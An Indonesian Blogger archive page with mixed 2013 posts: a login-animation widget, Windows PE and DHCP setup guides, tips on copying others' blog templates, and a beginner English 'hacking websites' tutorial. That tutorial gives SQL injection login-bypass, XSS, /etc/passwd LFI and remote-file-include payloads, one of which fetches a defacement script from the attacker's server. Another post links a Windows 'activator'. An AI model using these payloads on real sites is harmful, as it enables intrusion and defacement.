Gd-Book Site

Sabtu, 06 April 2013

Animasi Login

Animasi Login Di Home Blog ini memberikan efek manipulasi terhadap blog agar nampak seperti sedang login dengan Cap Jempol. Inspirasi ini saya dapatkan dari tetangga blogger kita dan saya padukan dengan pengalaman tentang jQuery saya. Yah, lumayan memberikan kesan yang menarik para pengunjung ketika berada di home blog kita.

Ya udah langsung tancap tutorialnya gan.


ANIMASI LOGIN HOME BLOG

Letakkan Element dibawah ini tepat di atas </body>
<b:if cond='data:blog.url == data:blog.homepageUrl'>
<!-- Animasi Login Begin -->
<div id='animasi-loginSM' style='position:fixed;z-index:9001;background:transparent;height:100%;width:100%;left:0;top:0;'>
<script type='text/javascript'>
// ----- Gambar Ukuran 28 x 28 Pixel -----
var  Gambar_Login_Anda ='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqlMbtDQjWOBWkrIlprXnegti3JHEJzORl0t4rhLAuBK58luCS-10ASw4pD1byGJrGoKkGi9pbmGWfvLdPLT1-uD-QAHaSimztoDKQ0KeOffue4dm9ZC01Q8ttmyYOyCE4OhOIL99qvL8/s28/Shutdown.png',
       Nama_Login_Anda = 'Santa_Mars';
</script>
<script src='http://not-remove-admin-3.googlecode.com/files/animasi-login3.js' type='text/javascript'></script>
</div>
<div id='animasi-munyer1' style='position:fixed;z-index:9000;background:black;height:55%;width:100%;left:0;top:0;'></div>
<div id='animasi-munyer2' style='position:fixed;z-index:9000;background:black;height:55%;width:100%;left:0;bottom:0;'></div>
<div id='animasi-munyer3' style='position:fixed;z-index:9000;background:black;height:100%;width:55%;left:0;top:0;'></div>
<div id='animasi-munyer4' style='position:fixed;z-index:9000;background:black;height:100%;width:55%;right:0;bottom:0;'></div>
<!-- Animasi Login End -->
<b:else/>
</b:if>

Kamis, 28 Februari 2013

Hacking websites. Basic Tutorial for beginners... :D


Hello guys. I was a bit busy, so after a long time I’ll be posting something new for the beginners in the world of hacking. Today I tell you how to hack websites using common vulnerabilities. Note: I believe you have some basic knowledge of HTML and PHP :) Intended for educational purpose. Bad intentions, GET LOST!!!!!!!

So lets begin ;)
SQL Injection
SQL injection is the act of injection your own, custom-crafted SQL commands into a web-script so that you can manipulate the database any way you want. Some example usages of SQL injection: Bypass login verification, add new admin account, lift passwords, lift credit-card details, etc.; you can access anything that’s in the database.
Example Vulnerable Code – login.php (PHP/MySQL)
Here’s an example of a vulnerable login code
PHP Code:
php
$user = $_POST['u'];
$pass = $_POST['p'];
if (!isset($user) || !isset($pass)) {
echo(“<form method=post>
“);
} else {
$sql = “SELECT `IP` FROM `users` WHERE `username`=’$user’ AND `password`=’$pass’”;
$ret = mysql_query($sql);
$ret = mysql_fetch_array($ret);
if ($ret[0] != “”) {
echo(“Welcome, $user.”);
} else {
echo(“Incorrect login details.”);
}
}
?>
Basically what this code does, is take the username and password input, and takes the users’s IP from the database in order to check the validity of the username/password combo.
Testing Inputs For Vulnerability
Just throw an “‘” into the inputs, and see if it outputs an error; if so, it’s probably injectable. If it doesn’t display anything, it might be injectable, and if it is, you will be dealing with blind SQL injection which anyone can tell you is no fun. Else, it’s not injectable.
The Example Exploit
Let’s say we know the admin’s username is Administrator and we want into his account. Since the code doesn’t filter our input, we can insert anything we want into the statement, and just let ourselves in. To do this, we would simply put “Administrator” in the username box, and “‘ OR 1=1–” into the password box; the resulting SQL query to be run against the database would be “SELECT `IP` FROM `users` WHERE `username`=’Administrator’ AND `password=” OR 1=1–’”. Because of the “OR 1=1″, it will have the ability to ignore the password requirement, because as we all know, the logic of “OR” only requires one question to result in true for it to succeed, and since 1 always equals 1, it works; the “–” is the ‘comment out’ character for SQL which means it ignores everything after it, otherwise the last “‘” would ruin the syntax, and just cause the query to fail.
XSS (Cross-Site Scripting)
This vulnerability allows for an attacker’s input to be sent to unsuspecting victims. The primary usage for this vulnerability is cookie stealing; if an attacker steals your cookie, they can log into whatever site they stole your cookie from under your account (usually, and assuming you were logged in at the time.)

Example Vulnerable Code – search.php (PHP)

PHP Code:
php
$s = $_GET['search'];
// a real search engine would do some database stuff here
echo(“You searched for $s. There were no results found”);
?>

Testing Inputs For Vulnerability

For this, we test by throwing some HTML into the search engine, such as “<font color=red>XSS</font>”. If the site is vulnerable to XSS, you will see something like this: XSS, else, it’s not vulnerable.
Example Exploit Code (Redirect)
Because we’re mean, we want to redirect the victim to goatse (don’t look that up if you don’t know what it is) by tricking them into clicking on a link pointed to “search.php?search=// “. This will output “You searched for // . There were no results found” (HTML) and assuming the target’s browser supports JS (JavaScript) which all modern browsers do unless the setting is turned off, it will redirect them to abc.
RFI/LFI (Remote/Local File Include)
This vulnerability allows the user to include a remote or local file, and have it parsed and executed on the local server.
Example Vulnerable Code – index.php (PHP)
PHP Code:
<?php
$page = $_GET['p'];
if (isset($page)) {
include($page);
} else {
include(“home.php”);
}
?>
Testing Inputs For Vulnerability
Try visiting “index.php?p=http://www.google.com/”; if you see Google, it is vulnerable to RFI and consequently LFI. If you don’t it’s not vulnerable to RFI, but still may be vulnerable to LFI. Assuming the server is running *nix, try viewing “index.php?p=/etc/passwd”; if you see the passwd file, it’s vulnerable to LFI; else, it’s not vulnerable to RFI or LFI.
Example Exploit
Let’s say the target is vulnerable to RFI and we upload the following PHP code to our server
PHP Code:
<?php
unlink(“index.php”);
system(“echo Hacked > index.php”);
?>
and then we view “index.php?p=http://our.site.com/malicious.php” then our malicious code will be run on their server, and by doing so, their site will simply say ‘Hacked’ now.

Hack Template Web Dengan Firebug

Cara Hack Template Web Dengan Firebug maksudnya bukan mencuri blog orang lho…cuman kita bisa melihat kedalam template orang lain seperti kode ccs/html/javascript template tersebut,jadi sah sah saja  dunk  bukan ilegal ya gak??
dengan mengetahui kode kode template orang lain so pasti sobat bisa meniru/menjiplak bahkan bisa membuat tempale yang sama dengan template orang tersebut tampa ketahuan yang punya tempale hehehe…

dengan sedikit kreasi dan modifikasi sudah pasti jiplakan sobat akan lebih kerren dari template yang sobat tiru  itu.. caranya untuk mngetahui kode template seseorang cukup mudah cukup dengan minta bantuan aplikasi add-ons mozillaferibug. jadi yang belom memiliki mozilla ferifox silahkan download dulu. dan untuk mencoba add-ons firebug silahkan download DISINI setelah didownload
->instal->tunggu sampai prosesnya selesai  ..setelah selesai  restart browser anda.
nah sekarang coba kegunaan firebug seperti apa silahkan coba sendiri dan rasakan sendiri seperti apa kegunaan dan manfaat add-ons tersebut.

untuk mencoba caranya cukup mudah ..
.silahkan buka blog siapa saja->setelah  berada di halaman blog ->klik kanan dihalaman tersebut lalu pilih ->INSPECT ELEMENT->maka firebug akan menanmpilkan  element kode template yang sedang sobat buka tadi,

silahkan pilih tool-tool yang disediakan firebug seperti HTML | JAVASCRIPT |CCS | dll. untuk mengetahui element kode CCS misalnya ,sobat tinggal klik tombol CCS yang ada pada tool tersebut. sebagai contoh tampilan firebug  yang sedang aktif seperti berikut
http://getfirebug.com/releases/lite/latest/screenshots/firebug1.3-img06.png

Download DISINI

Oke semoga bermanfaat dan semoga sobat faham dengan penjelaan diatas .,dan saya minta maaf klo uraiannya kurang bagus dan membingungkan.. buat teman teman senior/webmaster yang kebetulan nyasar kesini silahkan diperbaiki postingan di atas klo ada kekeliruan atau kekurangan  silakan ditambahin  agar teman teman lebih faham maksudnya.

silahkan berikan saran dan bimbingannya  mas broo di kotak komentar dibawah ini.. sebelomnya saya ucapkan terimakasih.. atas kunjungan anda.

Rabu, 27 Februari 2013

Live CD Windows 7



Apa itu live CD?. Live CD adalah sebuah CD yang bisa menjalankan (biasanya) distribusi Linux lengkap (tertentu) dari drive CD-ROM tanpa perlu menginstalnya ke hard disk terlebih dahulu. Pada awalnya, LiveCD digunakan untuk melakukan pengujian sistem operasi yang bersifat open-source seperti GNU/Linux, FreeBSD, OpenBSD, NetBSD, ReactOS, dan BeOS. Selain digunakan untuk melakukan pengujian, dapat juga digunakan untuk melakukan troubleshooting terhadap sistem operasi yang bermasalah.
Salah satu pelopor LiveCD berbasis sistem operasi ini adalah Knoppix, sebuah distro yang dirilis oleh Klaus Knopper berbasis Debian GNU/Linux. Contoh lain adalah BlankOn, NimbleX, PCLinuxOS, Puppy Linux, dan Ubuntu.
Selain sistem-sistem operasi tersebut, sistem operasi Windows juga dapat digunakan sebagai LiveCD. Microsoft sebagai pembuat Windows telah membuat Windows Preinstallation Environment (Windows PE), sebuah lingkungan minimal sistem operasi Windows (lingkungan grafis Windows tanpa shell Explorer). Selain Windows PE, ada juga implementasi lainnya yang dikenal dengan BartPE, dengan program pembuatnya yang disebut dengan PE Builder. (wikipedia*)
Sekarang kita akan membuat live cd untuk windows7, cara membuat live cd untuk windows 7 ngga begitu susah, Berikut langkah langkahnya:
  • Download atau unduh dan install dulu The Windows® Automated Installation Kit (AIK) for Windows® 7 Disini
  • Masukkan CD/DVD windows 7 kita ke CD-ROM/DVD-ROM.
  • salin script berikut memakai notepad atau notepad++ dan simpan dengan nama file win7live.bat
  • @Echo off
    %SystemDrive%
    Set PEWAIK=%ProgramFiles%\WAIK
    Set PETools=%PEWaik%\Tools\PETools
    Set Architecture=x86
    Set PEDest=%SystemDrive%\winpe_x86
    Set ISOName=winpe_x86.iso
    CD %PETools%
    pushd %PETools%
    call copype.cmd %Architecture% %PEDest%
    Set PEISO=%PEDest%\ISO
    Set PEMount=%PEDest%\mount
    Set PEIBoot=%PEISO%\boot
    Set PEISrc=%PEISO%\sources
    Set PEFps=%PETools%\%Architecture%\WinPe_FPs
    Set PEImageX=%PEWAIK%\Tools\%Architecture%
    Dism /Mount-Wim /WimFile:%PEDest%\winpe.wim /index:1 /MountDir:%PEDest%\mount
    Dism /image:%PEDest%\mount /Add-Package /PackagePath:"%PEFps%\winpe-hta.cab"
    Dism /image:%PEDest%\mount /Add-Package /PackagePath:"%PEFps%\winpe-legacysetup.cab"
    Dism /image:%PEDest%\mount /Add-Package /PackagePath:"%PEFps%\winpe-mdac.cab"
    Dism /image:%PEDest%\mount /Add-Package /PackagePath:"%PEFps%\winpe-pppoe.cab"
    Dism /image:%PEDest%\mount /Add-Package /PackagePath:"%PEFps%\winpe-scripting.cab"
    REM Dism /image:%PEDest%\mount /Add-Package /PackagePath:"%PEFps%\winpe-setup.cab"
    REM Dism /image:%PEDest%\mount /Add-Package /PackagePath:"%PEFps%\winpe-setup-client.cab"
    REM Dism /image:%PEDest%\mount /Add-Package /PackagePath:"%PEFps%\winpe-setup-server.cab"
    Dism /image:%PEDest%\mount /Add-Package /PackagePath:"%PEFps%\winpe-wmi.cab"
    Dism /image:%PEDest%\mount /Add-Package /PackagePath:"%PEFps%\cs-cz\lp_cs-cz.cab"
    Dism /image:%PEDest%\mount /Set-AllIntl:cs-cz
    copy "%PEImageX%\imagex.exe" "%PEMount%\Windows\System32\"
    Dism /Unmount-Wim /MountDir:%PEDest%\mount /Commit
    copy %PEDest%\winpe.wim %PEDest%\ISO\sources\boot.wim
    del /q %PEDest%\ISO\boot\bootfix.bin
    oscdimg -n -b%PEDest%\etfsboot.com %PEDest%\ISO %PEDest%\%ISOName%
    Cls
    DTCZ
    Exit
  • Sesudah menyalin dan menyimpan file win7live.bat, jalankan dalam modus “Administrator”. tunggu lah sampai prosesnya selesai.
Setelah itu file winpe_x86.iso yang dihasilkan dapatlah kita bakar (burn) ke DVD/CD.
Ok sekian ya informasinya.... :D

Sitemap

>

Minggu, 24 Februari 2013

Installasi DHCP server


DHCP merupakan kependekan dari Dynamic Host Configuration Protocol, fungsi DHCP dapat mengurangi pekerjaan dalam mengadministrasi suatu jaringan komputer berbasis IP yang besar. Bayangkan jika suatu jaringan komputer terdiri dari 50 komputer dan agan harus mensetting IP Address pada masing-masing komputer secara manual.
Internet -------- router ------------client
                eth0    eth1                   dhcp
eth0 : 192.168.4.2       eth1 : 192.168.5.1
                    static        static
Masukkan cd debian untuk menginstal paket dhcpnya di repositori ( kumpulan paket yang digunakan untuk administrasi server)
:~#apt cdrom add
Setelah di scan , repositori di update
:~#apt –get update
Lalu instal
:~#apt –get  install dhcp3-server
Otomatis menginstall, klik OK, ada 2 failled karena belum  ada settingan paketnya. Baru sekarang kita setting masuk ke :
:~#nano /etc/dhcp3/dhcpd.conf
cari dan aktifkan dan ubah range untuk dhcpnya (hilangkan tanda #)
subnet 192.168. 5.0 netmask 255.255.255.0 {
range 192.168.5.2   192.168. 5.10;
option domain-name servers 192.168.4.2;
option domain-name “belajar.blogspot.com”;
option routers 192.168.5.1;
option broadcast address  192.168.5.255;
default-lease time 600;
max-lease-time 7200;
}
        Simpan (ctrl+X  lalu Y)
Tapi dhcp ini belum bisa memberi  no IP ke client,  dia mau memberi ke eth berapa ? jawabannya eth  ke client (eth1). Buka file berikut tambahkan interfacenya
:~# nano /etc/default/dhcp3-server
    INTERFACE=”eth1”
Simpan (ctrl+X  lalu Y)
Restart DHCPnya
:~# /etc/init.d/dhcp3-server restart

Jumat, 22 Februari 2013

Installasi Windows 8


  1. Boot komputer anda dengan media instalasi windows 8 Developer.
  2. Mungkin butuh beberapa menit untuk memuat file-file, dan kemudian akan membawa Anda ke layar instalasi. Pilih pilihan yang sesuai dan klik Next.
  3. Sekarang klik pada “Install Now” untuk melanjutkan
  4. centang “Accept the terms and conditions” dan kemudian klik “Next”.
  5. Disini kita bisa memilih opsi apakah ingin meng-upgrade windows kita ke windows 8 Edisi Developer atau ingin melakukan instalasi bersih. Pilih Custom (Advanced) untuk melanjutkan instalasi bersih.
  6. Pada layar ini Anda dapat memilih drive yang ingin Anda instal, di sini kita memiliki kemampuan untuk mengelola disk, format, membuat partisi dll Jika Anda berencana untuk men-setup Dual boot maka Anda dapat memilih drive yang berbeda. Setelah Anda mengkonfigurasi drive klik “Next”
  7. Itu saja sekarang akan dimulai proses instalasi, tunggu sampai selesai yang mengambil waktu 10 menit sampai 1 jam tergantung pada konfigurasi Hardware.
  8. Setelah itu menyelesaikan instalasi Komputer Anda akan reboot dan akan mempersiapkan pengaturan2. Jadi silahkan menunggu beberapa saat.
  9. Sekarang akan membawa Anda untuk mempersonalisasi pengaturan desktop Anda. Silahkan pilih “Express settings” yang pada layarnya tertera keterangan tentang apa saja settingan akan dilakukan.
  10. Tidak seperti sistem operasi lain, pada Windows 8 Anda dapat login menggunakan account Windows Live. Jadi, Anda dapat memasukkan informasi account Windows Live Anda.

  11. Jika tidak ingin menggunakan metode login ini, silahkan klik pada “I don’t want to log in with a Windows Live ID”.

    Anda dapat memilih “Local account” untuk membuat Username dan Password untuk login ke Windows Anda.

    Setelah semua informasi telah dimasukkan, klik “Next”.
  12. Sekarang Windows akan mengkonfigurasi pengaturan Anda


  13. Setelah semuanya di setup, maka kita akan disuguhkan tampilan Desktop Windows 8.


Selamat! Anda sekarang telah berhasil menginstal Windows 8 edisi Pengembang di komputer Anda.


Untuk Activatornya Anda bisa download <<DISINI>>

Postingan Lebih Baru Postingan Lama Beranda